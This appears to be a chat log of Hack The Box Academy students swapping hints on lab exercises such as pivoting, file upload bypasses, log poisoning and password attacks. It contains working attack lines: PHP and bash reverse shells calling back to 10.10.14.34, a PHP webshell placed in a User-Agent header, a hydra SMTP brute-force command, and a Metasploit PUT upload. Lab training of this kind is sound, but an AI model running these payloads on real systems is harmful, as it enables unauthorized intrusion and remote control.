Yaaas I was able to solve the skill assessment, but I am trying to extend the tunnel to the other subnet too, so I can access it from my attacker machine

Like, I was able to get all flags but the phrasing of the questions actually hint a lot. Did not get a proper pivot from my attack host to the .6 network

[neon wadi]

I see what you mean. It didn't seem like I used a lot of the techniques from the coursework: a couple of SSL local port forwards (one for RDP, one for SMB), and an SSL dynamic port forward to use with proxychains for an nmap scan. Mostly it was just SSHing to the Linux machine and the initial Windows pivot machine, some RDP access with xfreerdp and mstsc, and PSRemoting into the DC. I'm getting ready to go back and see how many of the course techniques I can apply.

[snow mirage]

Ok so for anyone who is doing the Skills Assessment for Security Monitoring & SIEM Fundamentals, please note that the correct Service Account convention is svc- and not -svc. I know its a bit confusing. I overthought the content that was written here

If you go through kibana and do a wildcard search on svc, you'll find the correct naming convention yourself to confirm

The naming convention written down by hack the box team is incorrect

[unique remnant]

Please hlp

Module: Web proxies
Section: Proxying tools

Module options (auxiliary/scanner/http/http_put):

Name Current Setting Required Description

---

ACTION PUT yes PUT or DELETE
FILEDATA aksika no The data to upload into the file
FILENAME x yes The file to attempt to write or delete
PATH / yes The path to attempt to write or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 185.15.59.224 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

Auxiliary action:

Name Description

---

PUT Upload local file

msf6 auxiliary(scanner/http/http_put) > run

[-] 185.15.59.224: File doesn't seem to exist. The upload probably failed
[] Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed

the request goes via burp as needed as in the screenshot, but what is the flag I need to look for?? the hint says something starts with msf
I tried it using with the msf built in proxy, the proxychain but no idea what kind of answer needed here

never mind I solved - such an idiot review question!, wasted 2 hours of my life!!
the answer is the content of the FILEDATA
but do not modify it just keep the original value "msf xxxx xxxx"

never mind I solved - such an idiot review question!, wasted 2 hours of my life!!

[inner geyser]

So I'm working on Blacklist Filters in File Upload Attacks and looking for a hint. I'm able to successfully upload my php payload using Burp ||(php4, phtml, phtm) || (extensions haven't always persisted through resets or new servers).

When I'm running a curl command or going to the URL of my uploaded file, it results in showing me the string of my payload instead of running my command at the end of the URL string. Any suggestions?

Using Repeater to upload the file btw

[unique remnant]

you need to find a way to execute the payload, find a different directory - if I understood your problem correctly

[inner geyser]

Good thought process but I am executing from the proper directory for my file...I can view the path from the page source

the issue is that when i execute a webshell command from the browser or using a curl command, the output is the web shell command string instead of the command i'm trying to run

[unique remnant]

try to make RCE first so hardcode a command first and then run the webshell

[earnest imp]

hi everyone, I have a problem in the module Windows Attacks & Defense

with PKI - ESC1 exercices

I cannopt connect to the WS001 machine through RDP

I got this message: "the trust relationship between this workstation and the primary domain failed"

[dim wolf]

try another vpn server

[loud dagger]

okay i cannot connect to this reverse shell to save my life and i have come to the conclusion that for some reason netcat is not working on the target machine. it's a PHP remote code execution. everything else i've tried works just fine, like i'll type something like grep --help and it will print the help manual for grep but nc -h returns nothing. man nc works, but that's it. any other netcat commands return nothing. based on the man page it looks like it's a super outdated version. -c and -e both don't work so it recommends using mkfifo. which doesn't work.
here's the one liner i've been trying:

<?php system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.34 9941 > /tmp/f"); ?>

i have changed many many things and none of them work.

also i know netcat is working on my machine because i can connect to myself

[dim wolf]

have you tried which nc, which netcat, which ncat

[loud dagger]

yep

nc is definitely installed

i've tried using the full path to no avail

[dim wolf]

time to think of a different way then

[loud dagger]

do you connect to every method of reverse shell using netcat

idk how to get a reverse shell in any other way

[dim wolf]

netcat is preferred and easiest but maybe it doesn't work sometimes

you can try looking for other installed programs that you can leverage to get a reverse shell -> https://revshells.com

or you can craft a msfvenom meterpreter binary, upload it, then execute it

[loud dagger]

alright i'll keep looking, thanks

the only reason i've been trying netcat and not anything else is because the module specifically says to use netcat and even gives the command i'm supposed to use, which doesn't work

[dim wolf]

here's one you can try

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/9941 0>&1'");

[loud dagger]

yeah i've tried that one and a few others already

[valid viper]

Dat shell...

[loud dagger]

took the easy way out

avoided the reverse shell altogether by just having the php script print the flag

:(

[late moth]

I am on the "footprinting" module on the DNS section on the last question "What is the FQDN of the host where the last octet ends with "x.x.x.203"?" I was able to get a subdomain from a zone transfer I performed another zone transfer on the only subdomain that would allow it. I am still coming up short. I also tried brute forcing it with the topmillion subdomains wordlist. any hints?

[split glade]

You should try other short lists in the same directory (this one is tricky)

[loud dagger]

metasploit isn't even working what the hell is this

i'm just going to try this machine tomorrow

[late moth]

thank you. I got it

[earnest imp]

hello everyone, I have a problem in the module Windows Attacks & Defense with PKI - ESC1 exercices. When I try to build my TGT ticket I got this error: KDC_ERR_PADATA_TYPE_NOSUPP

Is it due to network issues or because I made a mistake during the certificate creation?

[slow ruin]

Currently stuck on this, can I dm?

[empty basin]

Can anyone help me with my gmail account?

I forgor password like a retarted

I have proof it’s my gmail

[cloud urchin]

you'll need to reach out to Google for help with that, no one here works for Google so no one here can help you

[dim wolf]

why ask us?

[cloud urchin]

What command are you using

[violet sparrow]

Hey y'all I need some help I don't know if I am attacking the question wrong. I am on the a Linux fundamental's course specifically "Filtering Contents" The first question is just stumping me and I can not seem find the correct answer. I have done multiple combinations of the ss & netstat such as netstat | grep -Ev '127.0.0.1|::1' or ss -tuln | grep '0\.0\.0\.0' | grep -v '127\.0\.0\.1' | wc -l and I am just stumped. If someone could help me out I would appreciate it

[cloud urchin]

i haven't done that, but i find a great resource for command syntax is asking chatgpt

[violet sparrow]

I have tried that path as well, nothing is coming up with the correct answer.

[rustic sage]

Is there a VPN outage/status page for the various Dedicated servers?

[daring birch]

idk it was driving me nuts earlier

VPN going iout at least. Could of been just my config tho

[glass quail]

try choosing a different location

[rustic sage]

Not getting that option. Only lists US Dedicated 13.

[cloud urchin]

https://status.hackthebox.com/

[full drum]

Hi there, i may be being the biggest idiot in the world here, but where is hackman.exe file in the Game Hacking Fundamentals module?

[cloud urchin]

haven't done that module but i've only ever seen tools in the c:\tools folder or the downloads folder for the user you login as

check c:\tools

[full drum]

So the module asks that I set up cheat engine, which I have done in my own VM. I downloaded their specific version of cheatengine that's bundled with the module, but the executable is nowhere to be found. Edit: it's probably somewhere really obvious, but i just can't see it.

The module does not have a pwnbox or VM to SSH into for the exercises.

[cloud urchin]

not sure then sorry. sometimes there's a resources area in the module above the table of contents

[full drum]

I'm an idiot. I found it. The download button is right next to the exercise question at the bottom of the page 🤦

[steel gorge]

Targets are no longer spawning, just in a loop. Anyone else finding this? Status page unhelpful

[valid viper]

Anyone else having problems with connecting to labs?

[steel gorge]

I can get pwnbox but not targets.

[valid viper]

Glad it's not just me.

Well, I've tried US and EU servers. SSDD.

[steel gorge]

Seems to be working correctly again

[solid moth]

Skills Assessment - File Inclusion . i can see the source code of index.php using php://filter. i know that ".." can't show in the payload and payloads would be added a suffix ".php" . PHP version is 7.3.22 so the bypasses taught in this module won't work . i don't know what to do . any hints pls ?

[zinc nimbus]

im trying to install the inveigh.exe from https://github.com/Kevin-Robertson/Inveigh/releases/tag/v2.0.10 but i cant get the binary at all pls

idk which one it is

dm i got it i think my head 😖 🧏 ↖️ ⬇️ ⤵️

[valid viper]

I'm still down here.

[trail sail]

Is it normal for this command to take two hours?
hydra -l (spoiler prevention)@inlanefreight.htb -P rockyou.txt -t 64 -f 10.129.203.7 smtp

[blissful elm]

it depend on latency

[coarse escarp]

So I ran it and it seemed to work? But I don't know how to read the output..

[spark spruce]

DM

[coarse escarp]

I think I get it

Nevermind

[fathom pendant]

If it worked you would have gotten a message saying where it saved to

Make sure you double check all the options

[coarse escarp]

well I changed FILEPATH to /flag.txt along with targeturi

because I thought that would help.

[fathom pendant]

That's where you fucked up

You didn't need to change the URI

Just the filepath

[coarse escarp]

changed it

back

[fathom pendant]

I'd just close msfconsole. And reopen it and rerun the exploit only changing the RHOST and filepath

I don't belive this is a public docker instance so you shouldn't have to specify port, but if it is you'll need to specify RPORT

RHOST is strictly IP
RPORT is strictly port

[coarse escarp]

I got it now, but I'm confused if its in msf or saved to the document.

computer*

[fathom pendant]

Because that's a file, not a directory

Try using cat instead of cd

Also cd home isn't a thing it's either cd or cd ~

[coarse escarp]

ah

I got

[fathom pendant]

As you can see what that filepath was ends in .txt

[coarse escarp]

I knew that, but I'm used to having to go to the path first like in windows.

[fathom pendant]

I suggest taking the linux fundamentals course

[coarse escarp]

I did, just forgot it.

[fathom pendant]

cd home isn't a thing in windows either

[coarse escarp]

I'll do a refresher.

[coarse escarp]

it's cd ..

[fathom pendant]

Yes

Well

cd .. just takes you back a directory from your current

[coarse escarp]

Yeah I'm aware

I use it a lot lol

[fathom pendant]

(Hint, it's why a lot of LFI vulnerabilities do ../../../../

[coarse escarp]

also I know that /* is just another fancy way of searching everything.

[fathom pendant]

Cd can also just be used with the full directory path

[trail sail]

Guys i am doing the attacking common services lab and now that i found creds, i need to connect to mysql, but i just can't connect
$ mysql -u (not spoiling)@inlanefreight.htb -h 10.129.203.7 -p
Enter password:
ERROR 2002 (HY000): Can't connect to MySQL server on '10.129.203.7' (115)

[fathom pendant]

cd /home/user/.msf4/loot/ would take you there from anywhere

[trail sail]

Am i doing something wrong with the command?

[fathom pendant]

If you wanted to go to the /home/ directory, you needed use the leading/

[fathom pendant]

Try not including the domain

[trail sail]

Thanks i got, it i had to specify the port of mysql

[fathom pendant]

That shouldn't need to be done

[coarse escarp]

So it's asking me to SSH as user1 but it's having a problem identifying that user

[fathom pendant]

ssh username@server -p Port

Or it's -P

Oh no it's -p as shown in the question

[coarse escarp]

Not asking for a password..

[fathom pendant]

Give it a minute

Also double check your ip

You put 99.x.x.x instead of 94.x.x.x

[coarse escarp]

I noticed when you said check your ip

[fathom pendant]

Always take a minute to actually read 😄

[coarse escarp]

always that one character messing things up

[fathom pendant]

ssh is one of the most well used tools in academy, knowing syntax is important

[coarse escarp]

I figured as much since it's how you remotely access anything.

besides WinRM

[fathom pendant]

Also I think most sections show basic syntax

[fathom pendant]

Rdp

[coarse escarp]

huh.. I read WinRM sometwhere

[solid moth]

any one can help me ? Skills Assessment - File Inclusion

i wrote the php code in the log but it won't run my command

[fathom pendant]

It's also a tool, yes

[acoustic owl]

Check the quotation marks, see how the log is structured and think about what happens if you write your payload in there

[flat parrot]

password crack module is crazy.

[coarse escarp]

I'm sorry.. What?

[fathom pendant]

sudo can be thought of like runas

Also dude

[coarse escarp]

?

[coarse escarp]

Ah

[fathom pendant]

take a minute to try working it out before rushing here

man <command> is very helpful for understanding a command

Or <command> -h/--help

[solid moth]

it's like the server doesn't log any more

no matter how many requests i sent. the access.log won't increase

[fathom pendant]

Then reset the target

[west canopy]

log poisoning has the potential to break the server

[solid moth]

i have reset a couple of times

[fathom pendant]

Then your payload must be wrong in some way

[solid moth]

<?php system($_GET["cmd"]); ?> i wrote in the user-agent field

this is my request

[acoustic owl]

Because you have broken your log.
Restart the server and take a close look at the log file. Then think about which quotation marks you can use.

I deleted your post because it contains a lot of spoilers